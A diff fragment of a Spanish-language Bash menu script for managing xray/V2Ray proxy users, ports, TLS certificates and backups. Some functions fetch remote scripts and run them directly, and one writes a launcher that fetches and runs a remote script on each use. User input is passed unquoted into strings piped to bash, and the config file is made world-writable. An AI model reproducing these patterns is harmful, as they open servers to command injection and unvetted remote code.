+fun_unlock(){ +#echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $configLOCK + while : + do + unset user n + clear + title " DESBOQUEAR USUARIOS DEL LIMBOOOOO!!!" + userDat + userEpx=$(cut -d " " -f1 $configLOCK) + n=1 + for i in $userEpx + do + DateExp="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4)" + #seg_exp=$(date +%s --date="$DateExp") + #[[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp DIAS" "\033[0;31m[LOCK]" + #col "$n)" "$i" "\033[0;31m[LOCK]" + local uid[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local tiempito[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4|tr -d '[[:space:]]')" + let n++ + #} + done + [[ -z ${user[1]} ]] && blanco " No hay bloqueados!!!" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A DESBLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #blanco "DURACION EN DIAS" 0 + local dias=${tiempito[$opcion]} + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" ${configLOCK} + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " USUARIO ${user[$opcion]} RETIRADO DEL LIMBOOOOOOO!!" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +_lo_un(){ +clear +msg -bar3 +echo -e "\033[0;35m [${cor[2]}1\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] BLOQUEAR USUARIO V2RAY " +echo -e "\033[0;35m [${cor[2]}2\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] DESBLOQUEAR USUARIO V2RAY " +msg -bar3 +echo -e " \033[0;35m[${cor[2]}0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;43m[ Salir ]\e[0m")" +msg -bar3 + selection=$(selection_fun 2) + case ${selection} in + 1) + fun_lock + ;; + 2) + fun_unlock + ;; + esac +} + + + +add_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + + title " CREAR USUARIO xray" + userDat + + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + + [[ $opcion = 0 ]] && break + + blanco "DURACION EN DIAS" 0 + read dias + + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario $opcion creado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + #------------------------------------------------------------- + ps=${opcion} #$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=${new_id} #$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[].alterId $config | head -1) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + echo -e " ESTA CONFIG SOLO SE MUESTRA UNA VEZ AQUI \n SI QUIERES VOLVER A VERLA VE A LA OPCION 4 \n Y BALLASE A LA BERGA PERRO :V" + msg -bar3 + continuar + read foo + #--------------------------------------------------------------------- + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done + restart_v2r + } + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " ELIMINAR USUARIO xray" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario eliminado" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } + done +} + +view_user(){ + unset seg + seg=$(date +%s) + while : + do + + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO xray" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "VER DATOS DEL USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + let opcion-- + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + continuar + read foo + done +} + +vmess() { +[[ $net = '"grpc"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" || { +[[ $net = '"ws"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" +} +} + +alterid(){ + while : + do + aid=$(jq '.inbounds[].settings.clients[0].alterId' $config) + clear + msg -bar3 + blanco " configuracion alterId" + msg -bar3 + col2 " alterid:" "$aid" + msg -bar3 + col "x)" "VOLVER" + msg -bar3 + blanco "NUEVO VALOR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = x ]] && break + + mv $config $temp + new=".inbounds[].settings.clients[0]" + echo jq \'$new += \{alterId:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo AlterId fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +port(){ + while : + do + port=$(jq '.inbounds[].port' $config) + clear + msg -bar3 + blanco " configuracion de puerto" + msg -bar3 + col2 " Puerto:" "$port" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO PUERTO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + new=".inbounds[]" + echo jq \'$new += \{port:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Nuevo Puerto fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +address(){ + while : + do + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + clear + msg -bar3 + blanco " configuracion address" + msg -bar3 + col2 "address:" "$add" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO ADDRESS" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[] += {domain:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo address fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +host(){ + while : + do + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='sin host' + clear + msg -bar3 + blanco " configuracion Host" + msg -bar3 + col2 "Host:" "$host" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO HOST" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings.headers += {Host:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo Host fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +path(){ + while : + do + path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) && [[ $path = null ]] && path='' + clear + msg -bar3 + blanco " configuracion Path" + msg -bar3 + col2 "path:" "$path" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO Path" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings += {path:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo path fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +crt_man(){ + while : + do + clear + msg -bar3 + blanco "configuracion de certificado manual" + msg -bar3 + + chek=$(jq '.inbounds[].streamSettings.tlsSettings' $config) + [[ ! $chek = {} ]] && { + crt=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].certificateFile' $config) + key=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].keyFile' $config) + dom=$(jq '.inbounds[].domain' $config) + echo -e " \033[4;49minstalado\033[0m" + col2 "crt:" "$crt" + col2 "key:" "$key" + col2 "dominio:" "$dom" + } || { + blanco " certificado no instalado" + } + + msg -bar3 + col "1)" "ingresar nuevo crt" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + clear + msg -bar3 + blanco "ingrese su archivo de certificado\n ej: /root/crt/certif.crt" + msg -bar3 + blanco "crt" 0 + read crts + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + msg -bar3 + blanco "ingrese su archivo key\n ej: /root/crt/certif.key" + msg -bar3 + blanco "key" 0 + read keys + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + blanco " $keys" + msg -bar3 + blanco "ingrese su dominio\n ej: netfree.xyz" + msg -bar3 + blanco "dominio" 0 + read domi + + clear + msg -bar3 + blanco "verifique sus datos sean correctos!" + msg -bar3 + blanco " $crts" + blanco " $keys" + blanco " $domi" + msg -bar3 + continuar + read foo + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"$crts\",keyFile:\"$keys\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "nuevo certificado agregado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +install(){ + clear + install_ini + msg -bar3 + blanco " Esta por intalar xray!" + msg -bar3 + blanco " La instalacion puede tener\n alguna fallas!\n por favor observe atentamente\n el log de intalacion,\n este podria contener informacion\n sobre algunos errores!\n estos deveras ser corregidos de\n forma manual antes de continual\n usando el script" + msg -bar3 + sleep 0.2 + blanco "Enter para continuar..." + read foo + config='/etc/xray/config.json' + tmp='/etc/xray/temp.json' + source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ADMRufu/main/Utils/xray/xray.sh) + #restart_v2r + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/v2r.sh + chmod +x /bin/r.sh +} + +xray_tls(){ + clear + msg -bar3 + blanco " certificado tls xray" + echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " + read -p " Ejemplo > email=my@example.com : " -e -i $(date | md5sum | head -c15)@gmail.com crreo + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$crreo + xray tls + msg -bar3 + continuar + read foo +} + +xray_stream(){ + clear + msg -bar3 + blanco " instalacion de protocolos xray" + msg -bar3 + xray stream + msg -bar3 + continuar + read foo +} + +xray_menu(){ + clear + msg -bar3 + blanco " MENU xray" + msg -bar3 + xray +} + +backups(){ + while : + do + unset opcion + unset PID + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + PID="\033[0;31m[offline]" + else + PID="\033[1;92m[online]" + fi + + clear + title " Config de Respaldos" + col "1)" "Respaldar Ahora" + col "2)" "\033[1;92mRestaurar Respaldo" + col "3)" "\033[0;31mEliminiar Respaldos" + col "4)" "\033[1;34mRespaldo en linea $PID" + col "5)" "\033[1;33mRespaldos automatico $(on_off_res)" + msg -bar3 + + col "6)" "\033[1;33m RESTAURAR Online PORT :81 " + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) autBackup + clear + title " Nuevo Respaldo Creado..." + sleep 0.2;; + 2) restore;; + 3) rm -rf $backdir/*.tar + clear + title " Almacer de Respaldo limpia..." + sleep 0.2;; + 4) server;; + + + 5) if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + sed -i 's/autBackup 0/autBackup 1/' $v2rdir/conf + else + sed -i 's/autBackup 1/autBackup 0/' $v2rdir/conf + fi;; + 6) + clear + echo -e "\033[0;33m + ESTA FUNCION EXPERIMENTAL +Una vez que se descarge tu Fichero, Escoje el BackOnline + + + OJO + + + Luego de Restaurarlo, Vuelve Activar el TLS + Para Validar la Configuracion de tu certificao" +msg -bar3 +echo -n "INGRESE LINK Que Mantienes Online en GitHub, o VPS \n" +read -p "Pega tu Link : " url1 +wget -q -O $backdir/BakcOnline.tar $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" && restore || echo -e "\033[1;31m- \033[1;31mFile Fallo" && sleep 0.2 + ;; + 0) break;; + *) blanco "opcion incorrecta..." && sleep 0.2;; + esac + done +} + + +restablecer_v2r(){ + clear + title " restablecer ajustes xray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de xray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + msg -bar3 + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) xray new;; + [Nn]) continuar && read foo;; + esac +} + +remove_all(){ + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + clear + echo -e " \033[0;92mLa aceleración está Desinstalada." + sleep 0.1 +} + +bbr(){ + while : + do + clear + title " ACELERACION BBR" + blanco " Esto activara la aceleracion\n por defecto de su kernel.\n no se modoficar nada del sistema." + msg -bar3 + col "1)" "Acivar aceleracion" + col "2)" "quitar toda aceleracion" + msg -bar3 + col "0)" "volver" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e " \033[0;92m¡BBR comenzó con éxito!";; + 2)remove_all;; + 0)break;; + *)blanco " seleccione una opcion" && sleep 0.2;; + esac + done +} + +settings(){ + while : + do + clear + msg -bar3 + blanco " Ajustes e instalacion xray" + msg -bar3 + col "1)" "address" + col "2)" "puerto" + col "3)" "alterId" + col "4)" "Host" + col "5)" "Path" + msg -bar3 + col "6)" "certif ssl/tls (script)" + col "7)" "certif menu nativo" + col "8)" "certif ingreso manual" + msg -bar3 + col "9)" "protocolo menu nativo" + col "10)" "conf xray menu nativo" + col "11)" "restablecer ajustes" + msg -bar3 + col "12)" "BBR nativo del sistema" + col "13)" "install/re-install xray" + msg -bar3 + col "14)" "Conf. Copias de Respaldos" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)address;; + 2)port;; + 3)alterid;; + 4)host;; + 5)path;; + 6)domain_check && clear ;; + 7)xray_tls;; + 8)crt_man;; + 9)xray_stream;; + 10)xray_menu;; + 11)restablecer_v2r;; + 12)bbr;; + 13)install;; + 14)backups;; + *) blanco " solo numeros de 0 a 14" && sleep 0.2;; + esac + done +} +enon(){ +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh +chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f $(which xr.sh) + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de v2r.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { + + while : + do + clear + msg -bar3 + blanco " Ajustes e Entrasda Rapida de Menu xray" + msg -bar3 + col "1)" "Habilitar xr.sh, Como entrada Rapida" + col "2)" "Eliminar xr.sh, Como entrada Rapida" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.1;; + esac + done + +} + + +main(){ + [[ ! -e $config ]] && { + clear + msg -bar3 + blanco " No se encontro ningun archovo de configracion xray" + msg -bar3 + blanco " No instalo xray o esta usando\n una vercion diferente!!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion xray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/v2r.sh ]] && enrap="\033[1;92m[ON]" || enrap="\033[0;31m[OFF]" + [[ -e /etc/xray/config.json ]] && _v2Reg="$(cat /etc/xray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg=0 + [[ -e /etc/xray/config.json.lock ]] && _v2LOCK="$(cat /etc/xray/config.json.lock|wc -l)" || _v2LOCK=0 + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU xray \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR USUARIO" + col "2)" "\033[0;92mRENOVAR USUARIO" + col "3)" "\033[0;31mREMOVER USUARIO" + col "4)" "VER DATOS DE USUARIOS \033[1;32m ( ${_v2Reg} )" + col "5)" "VER USUARIOS CONECTADOS" + col "b)" "LOCK/UNLOCK USUARIOS \033[1;32m ( ${_v2LOCK} ) " + msg -bar3 + col "6)" "\033[1;33mAJUSTES XRAY $_v2" + msg -bar3 + col "7)" "\033[1;33mENTRAR CON \033[1;32mxr.sh $enrap" + msg -bar3 + col "8)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) add_user;; + 2) renew;; + 3) dell_user;; + 4) view_user;; + 5) usrCONEC ;; + 6) settings;; + 7) enttrada;; + b) _lo_un;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 7" && sleep 0.1;; + esac + done +} + +[[ $1 = "autoDel" ]] && { + autoDel +} || { + autoDel + main +} diff --git 